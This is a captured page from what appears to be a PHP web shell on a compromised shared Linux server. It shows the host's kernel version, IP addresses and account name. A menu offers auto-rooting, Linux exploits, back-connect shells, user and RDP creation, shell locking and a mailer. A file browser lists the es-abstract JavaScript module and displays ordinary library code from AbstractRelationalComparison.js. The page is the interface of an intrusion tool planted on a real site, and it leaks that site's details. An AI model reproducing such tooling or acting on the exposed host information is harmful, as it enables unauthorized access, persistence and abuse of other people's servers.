Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
es-abstract /
5 /
[ HOME SHELL ]
Name
Size
Permission
Action
AbstractEqualityComparison.js
1.06
KB
-rw-r--r--
AbstractRelationalComparison.j...
1.55
KB
-rw-r--r--
CheckObjectCoercible.js
345
B
-rw-r--r--
DateFromTime.js
1.01
KB
-rw-r--r--
Day.js
234
B
-rw-r--r--
DayFromYear.js
256
B
-rw-r--r--
DayWithinYear.js
286
B
-rw-r--r--
DaysInYear.js
301
B
-rw-r--r--
FromPropertyDescriptor.js
1.02
KB
-rw-r--r--
HourFromTime.js
382
B
-rw-r--r--
InLeapYear.js
510
B
-rw-r--r--
IsAccessorDescriptor.js
446
B
-rw-r--r--
IsCallable.js
108
B
-rw-r--r--
IsDataDescriptor.js
449
B
-rw-r--r--
IsGenericDescriptor.js
542
B
-rw-r--r--
IsPropertyDescriptor.js
554
B
-rw-r--r--
MakeDate.js
328
B
-rw-r--r--
MakeDay.js
917
B
-rw-r--r--
MakeTime.js
698
B
-rw-r--r--
MinFromTime.js
396
B
-rw-r--r--
MonthFromTime.js
1014
B
-rw-r--r--
SameValue.js
307
B
-rw-r--r--
SecFromTime.js
402
B
-rw-r--r--
StrictEqualityComparison.js
361
B
-rw-r--r--
TimeClip.js
468
B
-rw-r--r--
TimeFromYear.js
261
B
-rw-r--r--
TimeWithinDay.js
247
B
-rw-r--r--
ToBoolean.js
130
B
-rw-r--r--
ToInt32.js
173
B
-rw-r--r--
ToInteger.js
514
B
-rw-r--r--
ToNumber.js
783
B
-rw-r--r--
ToObject.js
317
B
-rw-r--r--
ToPrimitive.js
115
B
-rw-r--r--
ToPropertyDescriptor.js
1.42
KB
-rw-r--r--
ToString.js
225
B
-rw-r--r--
ToUint16.js
564
B
-rw-r--r--
ToUint32.js
175
B
-rw-r--r--
Type.js
438
B
-rw-r--r--
WeekDay.js
208
B
-rw-r--r--
YearFromTime.js
407
B
-rw-r--r--
abs.js
207
B
-rw-r--r--
floor.js
217
B
-rw-r--r--
modulo.js
168
B
-rw-r--r--
msFromTime.js
253
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AbstractRelationalComparison.js
'use strict'; var GetIntrinsic = require('get-intrinsic'); var $Number = GetIntrinsic('%Number%'); var $TypeError = GetIntrinsic('%TypeError%'); var $isNaN = require('../helpers/isNaN'); var $isFinite = require('../helpers/isFinite'); var isPrefixOf = require('../helpers/isPrefixOf'); var ToNumber = require('./ToNumber'); var ToPrimitive = require('./ToPrimitive'); var Type = require('./Type'); // https://262.ecma-international.org/5.1/#sec-11.8.5 // eslint-disable-next-line max-statements module.exports = function AbstractRelationalComparison(x, y, LeftFirst) { if (Type(LeftFirst) !== 'Boolean') { throw new $TypeError('Assertion failed: LeftFirst argument must be a Boolean'); } var px; var py; if (LeftFirst) { px = ToPrimitive(x, $Number); py = ToPrimitive(y, $Number); } else { py = ToPrimitive(y, $Number); px = ToPrimitive(x, $Number); } var bothStrings = Type(px) === 'String' && Type(py) === 'String'; if (!bothStrings) { var nx = ToNumber(px); var ny = ToNumber(py); if ($isNaN(nx) || $isNaN(ny)) { return undefined; } if ($isFinite(nx) && $isFinite(ny) && nx === ny) { return false; } if (nx === Infinity) { return false; } if (ny === Infinity) { return true; } if (ny === -Infinity) { return false; } if (nx === -Infinity) { return true; } return nx < ny; // by now, these are both nonzero, finite, and not equal } if (isPrefixOf(py, px)) { return false; } if (isPrefixOf(px, py)) { return true; } return px < py; // both strings, neither a prefix of the other. shortcut for steps c-f };
Close